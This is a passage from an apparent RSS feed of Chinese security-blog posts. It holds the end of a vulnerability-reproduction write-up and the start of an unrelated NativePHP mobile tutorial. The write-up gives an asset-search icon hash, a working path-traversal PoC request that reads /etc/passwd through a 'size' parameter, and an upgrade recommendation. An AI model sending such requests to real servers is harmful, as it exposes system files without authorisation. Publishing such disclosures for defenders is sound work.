visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 16px;&quot;&gt;）绕过系统路径限制&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;line-height: 1.6;color: #3E3E3E;font-size: 16px;letter-spacing: 0.544px;background-color: #FFFFFF;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 16px;&quot;&gt;，直接访问服务器文件系统中的任意文件。&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;line-height: 1.6;color: #3E3E3E;font-size: 16px;letter-spacing: 0.544px;background-color: #FFFFFF;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 16px;&quot;&gt;攻击者可尝试读取服务器上的&lt;/span&gt;&lt;/span&gt;&lt;code data-v-c3629e60=&quot;&quot; style=&quot;line-height: 1.6;color: rgb(62, 62, 62);font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;line-height: 1.6;color: #3E3E3E;font-size: 16px;letter-spacing: 0.544px;background-color: #FFFFFF;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 16px;&quot;&gt;/etc/passwd&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;span data-v-c3629e60=&quot;&quot; answer=&quot;&quot; seq=&quot;16&quot; style=&quot;line-height: 1.6;color: #3E3E3E;font-size: 16px;letter-spacing: 0.544px;background-color: #FFFFFF;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;line-height: 1.6;color: #3E3E3E;font-size: 16px;letter-spacing: 0.544px;background-color: #FFFFFF;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 16px;&quot;&gt;文件，若漏洞存在，服务器将返回文件内容。&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;section style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;color: rgb(62, 62, 62);letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot; data-pm-slice=&quot;6 3 []&quot;&gt;&lt;section style=&quot;padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;color: rgb(62, 62, 62);letter-spacing: 0.578px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;visibility: visible;pointer-events: initial;&quot;&gt;&lt;p style=&quot;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;04&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;visibility: visible;margin-left: 0px;margin-right: 0px;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;—&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;p style=&quot;padding-right: 10px;padding-left: 10px;line-height: 1.6;color: rgb(62, 62, 62);letter-spacing: 0.578px;text-align: center;visibility: visible;text-indent: 0px;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;资产测绘&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;pre class=&quot;code-snippet__js code-snippet code-snippet_nowrap&quot; data-lang=&quot;ini&quot; style=&quot;pointer-events: initial;&quot;&gt;icon_hash=&amp;quot;470295793&amp;quot;&lt;/pre&gt;&lt;section style=&quot;padding-right: 10px;padding-left: 10px;line-height: 1.6;pointer-events: initial;&quot;&gt;&lt;section style=&quot;pointer-events: initial;&quot;&gt;&lt;section style=&quot;color: rgb(62, 62, 62);letter-spacing: 0.578px;pointer-events: initial;&quot;&gt;&lt;section style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;pointer-events: initial;&quot;&gt;&lt;section style=&quot;text-align: center;&quot; nodeleaf=&quot;&quot;&gt;&lt;img class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-aistatus=&quot;1&quot; data-imgfileid=&quot;100000724&quot; data-s=&quot;300,640&quot; src=&quot;https://www.7x0.cn/zb_users/upload/2026/02/20260212200427177089786744906.png&quot; referrerpolicy=&quot;no-referrer&quot; type=&quot;block&quot;/&gt;&lt;/section&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/section&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/section&gt;&lt;p style=&quot;text-align: center;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;pointer-events: initial;&quot;&gt;05&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;pointer-events: initial;&quot;&gt;—&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;p style=&quot;color: rgb(62, 62, 62);letter-spacing: 0.578px;text-align: center;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;pointer-events: initial;&quot;&gt;漏洞复现&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(62, 62, 62);letter-spacing: 0.578px;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; data-pm-slice=&quot;1 1 [&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:&amp;quot;padding-right: 10px;padding-left: 10px;line-height: 1.6;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;p&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:&amp;quot;color: rgb(62, 62, 62);letter-spacing: 0.578px;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;}]&quot; style=&quot;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 16px;font-weight: bold;&quot;&gt;POC&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot; data-pm-slice=&quot;0 0 []&quot;&gt;&lt;pre class=&quot;code-snippet__js code-snippet code-snippet_nowrap&quot; data-lang=&quot;apache&quot; style=&quot;pointer-events: initial;&quot;&gt;GET&amp;nbsp;/app-center-static/serviceicon/myapp/{0}/?size=../../../../etc/passwd&amp;nbsp;HTTP/1.1Host:&amp;nbsp;127.0.0.1User-Agent:&amp;nbsp;Mozilla/5.0&amp;nbsp;(Windows&amp;nbsp;NT&amp;nbsp;10.0;&amp;nbsp;Win64;&amp;nbsp;x64;&amp;nbsp;rv:146.0)&amp;nbsp;Gecko/20100101&amp;nbsp;Firefox/146.0Accept:&amp;nbsp;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language:&amp;nbsp;zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding:&amp;nbsp;gzip,&amp;nbsp;deflateConnection:&amp;nbsp;closeUpgrade-Insecure-Requests:&amp;nbsp;1Sec-Fetch-Dest:&amp;nbsp;documentSec-Fetch-Mode:&amp;nbsp;navigateSec-Fetch-Site:&amp;nbsp;noneSec-Fetch-User:&amp;nbsp;?1Priority:&amp;nbsp;u=0,&amp;nbsp;i&lt;/pre&gt;&lt;/section&gt;&lt;/section&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;padding-right: 10px;padding-left: 10px;line-height: 1.6;pointer-events: initial;&quot;&gt;&lt;section style=&quot;text-align: center;&quot; nodeleaf=&quot;&quot;&gt;&lt;img class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-aistatus=&quot;1&quot; data-imgfileid=&quot;100000723&quot; data-s=&quot;300,640&quot; src=&quot;https://www.7x0.cn/zb_users/upload/2026/02/20260212200428177089786861559.png&quot; referrerpolicy=&quot;no-referrer&quot; type=&quot;block&quot;/&gt;&lt;/section&gt;&lt;p style=&quot;color: rgb(62, 62, 62);letter-spacing: 0.578px;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;color: rgb(62, 62, 62);letter-spacing: 0.578px;pointer-events: initial;&quot;&gt;&lt;section style=&quot;pointer-events: initial;&quot;&gt;&lt;section style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;pointer-events: initial;&quot;&gt;&lt;p style=&quot;text-align: center;pointer-events: initial;&quot;&gt;&lt;span style=&quot;color: #1AAD19;font-size: 24px;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;pointer-events: initial;&quot;&gt;06&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;pointer-events: initial;&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;color: #1AAD19;font-size: 20px;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;pointer-events: initial;&quot;&gt;—&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;p style=&quot;color: rgb(62, 62, 62);letter-spacing: 0.578px;text-align: center;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;visibility: visible;font-size: 20px;color: #353535;font-weight: 700;text-align: left;white-space-collapse: preserve;font-family: system-ui, -apple-system, BlinkMacSystemFont, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif;letter-spacing: 0.544px;pointer-events: initial;&quot;&gt;修复建议&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(62, 62, 62);letter-spacing: 0.578px;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 16px;&quot;&gt;升级到最新版本。&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;pointer-events: initial;&quot;&gt;&lt;section style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;section powered-by=&quot;xiumi.us&quot; style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;padding-right: 10px;padding-left: 10px;line-height: 1.6;pointer-events: initial;&quot; data-pm-slice=&quot;3 6 [&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:&amp;quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;powered-by&amp;quot;:&amp;quot;xiumi.us&amp;quot;,&amp;quot;style&amp;quot;:&amp;quot;visibility: visible;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:&amp;quot;visibility: visible;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;}]&quot;&gt;&lt;section style=&quot;color: rgb(62, 62, 62);letter-spacing: 0.578px;pointer-events: initial;&quot;&gt;&lt;section style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;pointer-events: initial;&quot;&gt;&lt;p style=&quot;text-align: center;pointer-events: initial;&quot;&gt;&lt;span style=&quot;color: #1AAD19;font-size: 24px;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;pointer-events: initial;&quot;&gt;07&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;pointer-events: initial;&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;color: #1AAD19;font-size: 20px;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;pointer-events: initial;&quot;&gt;—&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;p style=&quot;color: rgb(62, 62, 62);letter-spacing: 0.578px;text-align: center;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;visibility: visible;font-size: 20px;color: #353535;font-weight: 700;text-align: left;white-space-collapse: preserve;font-family: system-ui, -apple-system, BlinkMacSystemFont, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif;letter-spacing: 0.544px;pointer-events: initial;&quot;&gt;往期回顾&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(62, 62, 62);letter-spacing: 0.578px;text-align: center;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;visibility: visible;font-size: 20px;color: #353535;font-weight: 700;text-align: left;white-space-collapse: preserve;font-family: system-ui, -apple-system, BlinkMacSystemFont, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif;letter-spacing: 0.544px;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;section class=&quot;mp_profile_iframe_wrp&quot; nodeleaf=&quot;&quot; style=&quot;pointer-events: initial;&quot;&gt;&lt;mp-common-profile class=&quot;js_uneditable custom_select_card mp_profile_iframe&quot; data-pluginname=&quot;mpprofile&quot; data-nickname=&quot;北风漏洞复现文库&quot; data-from=&quot;2&quot; data-headimg=&quot;http://mmbiz.qpic.cn/sz_mmbiz_png/dV0OibMDwBhLiaaoGI8LfuPiaA8ibUUtcv9nSuJJc1Pps7Ys43DOtfxA1zLlMExIyoJkyiaibxJBibUbupXrVXYyOn4vA/0?wx_fmt=png&quot; data-signature=&quot;聚焦最新漏洞动态，深度解析SRC、CVE、CNVD漏洞详情。提供漏洞复现教程、工具利用指南及整改方案。为渗透测试与网络安全从业者提供实战交流平台，助力提升安全技能。&quot; data-id=&quot;Mzk2NDkwMDg3Nw==&quot; data-is_biz_ban=&quot;0&quot; data-service_type=&quot;1&quot; data-verify_status=&quot;0&quot;&gt;&lt;/mp-common-profile&gt;&lt;/section&gt;&lt;p style=&quot;color: rgb(62, 62, 62);letter-spacing: 0.578px;text-align: center;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;visibility: visible;font-size: 20px;color: #353535;font-weight: 700;text-align: left;white-space-collapse: preserve;font-family: system-ui, -apple-system, BlinkMacSystemFont, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif;letter-spacing: 0.544px;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;section&gt;&lt;br/&gt;&lt;/section&gt;&lt;p&gt;&lt;mp-video-dot-dialog&gt;&lt;/mp-video-dot-dialog&gt;&lt;mp-image-product-dialog&gt;&lt;mp-new-reward-setting-dialog writer-id=&quot;&quot; reply-id=&quot;&quot; can-use-gong-yi=&quot;0&quot; is-pay-subscribe=&quot;0&quot; article-seq=&quot;0&quot; dialog-header-name=&quot;赞赏&quot;&gt;&lt;/mp-new-reward-setting-dialog&gt;&lt;mp-interaction-dialog form-data=&quot;[object Object]&quot;&gt;&lt;/mp-interaction-dialog&gt;&lt;mp-finder-video-dialog display-education=&quot;true&quot;&gt;&lt;/mp-finder-video-dialog&gt;&lt;mp-finder-sync-tips-dialog items=&quot;&quot; finder-nick-name=&quot;&quot;&gt;&lt;/mp-finder-sync-tips-dialog&gt;&lt;mp-image-edit-dialog src=&quot;https://mp.weixin.qq.com/cgi-bin/masssendmodify?action=edit_new&amp;appmsgid=2247484146&amp;idx=1&amp;msgid=1000000069&amp;modify_version=1&amp;token=1397853261&amp;lang=zh_CN&quot; title=&quot;编辑封面&quot; ratio=&quot;&quot; crop-info=&quot;&quot; text-info=&quot;[object Object]&quot;&gt;&lt;/mp-image-edit-dialog&gt;&lt;mp-image-disable-bg&gt;&lt;/mp-image-disable-bg&gt;&lt;mp-to-image-article-dialog tempurl=&quot;&quot; can-comment=&quot;0&quot;&gt;&lt;/mp-to-image-article-dialog&gt;&lt;/mp-image-product-dialog&gt;&lt;/p&gt;&lt;section style=&quot;  top: -100000px;width: 100000000000000px;visibility: hidden;letter-spacing: 100px; &quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/section&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/section&gt;&lt;p style=&quot;display: none;&quot;&gt;&lt;mp-style-type data-value=&quot;3&quot;&gt;&lt;/mp-style-type&gt;&lt;/p&gt;</description><pubDate>Thu, 12 Feb 2026 20:04:12 +0800</pubDate></item><item><title>5 分钟打造你的第一个 NativePHP 移动应用</title><link>https://www.7x0.cn/post/24.html</link><description>&lt;p style=&quot;font-size: 0px;line-height: 0;margin: 0px;text-align: justify;&quot; data-pm-slice=&quot;0 0 []&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;#39;PingFang SC&amp;#39;, Cambria, Cochin, Georgia, Times, &amp;#39;Times New Roman&amp;#39;, serif;font-size: 16px;line-height: 1.75;text-align: left;&quot;&gt;&lt;h3 data-heading=&quot;true&quot; style=&quot;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);margin-right: 0px;margin-bottom: 0.75em;margin-left: 0px;color: rgb(63, 63, 63);font-size: 17.6px;font-weight: bold;line-height: 1.2;text-align: justify;margin-top: 0px !important;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;介绍&lt;/span&gt;&lt;/h3&gt;&lt;p style=&quot;text-align: justify;margin: 1.5em 0px;letter-spacing: 0.1em;color: rgb(63, 63, 63);&quot;&gt;&lt;span leaf=&quot;&quot;&gt;你是一名 Laravel 开发者。你熟悉 Blade、Livewire，或许还会一点 Vue 或 React。但你从来没有碰过 Swift 或者 Kotlin。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify;margin: 1.5em 0px;letter-spacing: 0.1em;color: rgb(63, 63, 63);&quot;&gt;&lt;strong style=&quot;color: rgb(15, 76, 129);font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;好消息：你完全不需要学它们。&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify;margin: 1.5em 0px;letter-spacing: 0.1em;color: rgb(63, 63, 63);&quot;&gt;&lt;strong style=&quot;color: rgb(15, 76, 129);font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;NativePHP for Mobile&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;让你可以用已有的技能，开发出真正的原生 iOS 和 Android 应用。&lt;/span&gt;&lt;strong style=&quot;color: rgb(15, 76, 129);font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;接下来 5 分钟内&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;，你就能在自己手机上运行一个应用。&lt;/span&gt;&lt;/p&gt;&lt;h3 data-heading=&quot;true&quot; style=&quot;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);margin: 2em 0px 0.75em;color: rgb(63, 63, 63);font-size: 17.6px;font-weight: bold;line-height: 1.2;text-align: justify;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;最快路径：使用 Jump&lt;/span&gt;&lt;/h3&gt;&lt;p style=&quot;text-align: justify;margin: 1.5em 0px;letter-spacing: 0.1em;color: rgb(63, 63, 63);&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #FF4F79;font-weight: normal;text-decoration: line-through;&quot;&gt;忘掉下载 Xcode（40GB+）。忘掉配置 Android Studio。全部都不需要&lt;/span&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #FF4F79;font-weight: normal;text-decoration: none;&quot;&gt;。&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify;margin: 1.5em 0px;letter-spacing: 0.1em;color: rgb(63, 63, 63);&quot;&gt;&lt;strong style=&quot;color: rgb(15, 76, 129);font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;Jump&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;是一款免费应用，它可以让你&lt;/span&gt;&lt;strong style=&quot;color: rgb(15, 76, 129);font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;瞬间&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;在真机上测试 NativePHP 应用，&lt;/span&gt;&lt;strong style=&quot;color: rgb(15, 76, 129);font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;无需编译&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;。&lt;/span&gt;&lt;/p&gt;&lt;h4 data-heading=&quot;true&quot; style=&quot;margin: 2em 0px 0.5em;color: rgb(15, 76, 129);font-size: 16px;font-weight: bold;text-align: justify;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;步骤 1：在手机上安装 Jump&lt;/span&gt;&lt;/h4&gt;&lt;p style=&quot;text-align: justify;margin: 1.5em 0px;letter-spacing: 0.1em;color: rgb(63, 63, 63);&quot;&gt;&lt;span leaf=&quot;&quot;&gt;前往以下地址下载 Jump：&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;https://bifrost.nativephp.com/jump&lt;/span&gt;&lt;/p&gt;&lt;h4 data-heading=&quot;true&quot; style=&quot;margin: 2em 0px 0.5em;color: rgb(15, 76, 129);font-size: 16px;font-weight: bold;text-align: justify;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;步骤 2：创建一个 Laravel 项目&lt;/span&gt;&lt;/h4&gt;&lt;pre style=&quot;color: rgb(255, 255, 255);background: rgb(28, 27, 27);font-size: 90%;overflow-x: auto;border-radius: 8px;line-height: 1.5;margin: 10px 0px;text-align: justify;padding: 0px !important;&quot;&gt;&lt;span style=&quot;display: none;padding: 10px 14px 0px;&quot;&gt;&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; version=&quot;1.1&quot; x=&quot;0px&quot; y=&quot;0px&quot; width=&quot;45px&quot; height=&quot;13px&quot; viewbox=&quot;0 0 450 130&quot;&gt;&lt;ellipse cx=&quot;50&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(220,60,54)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(237,108,96)&quot;&gt;&lt;/ellipse&gt;&lt;ellipse cx=&quot;225&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(218,151,33)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(247,193,81)&quot;&gt;&lt;/ellipse&gt;&lt;ellipse cx=&quot;400&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(27,161,37)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(100,200,86)&quot;&gt;&lt;/ellipse&gt;&lt;/svg&gt;&lt;/span&gt;&lt;code style=&quot;font-size: 90%;border-radius: 4px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;color: inherit;background: none;white-space: nowrap;margin-top: 0px;margin-bottom: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;line-height: 1.75;text-align: justify;display: flex;align-items: flex-start;overflow: hidden auto;width: 100%;max-width: 100%;padding: 0px;box-sizing: border-box;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;line-height: 1.75;padding: 8px 0px;border-right: 1px solid rgba(0, 0, 0, 0.04);user-select: none;background: var(--code-bg,transparent);margin-top: 0px !important;&quot;&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-top: 0px !important;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;1&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;2&lt;/span&gt;&lt;/section&gt;&lt;/section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 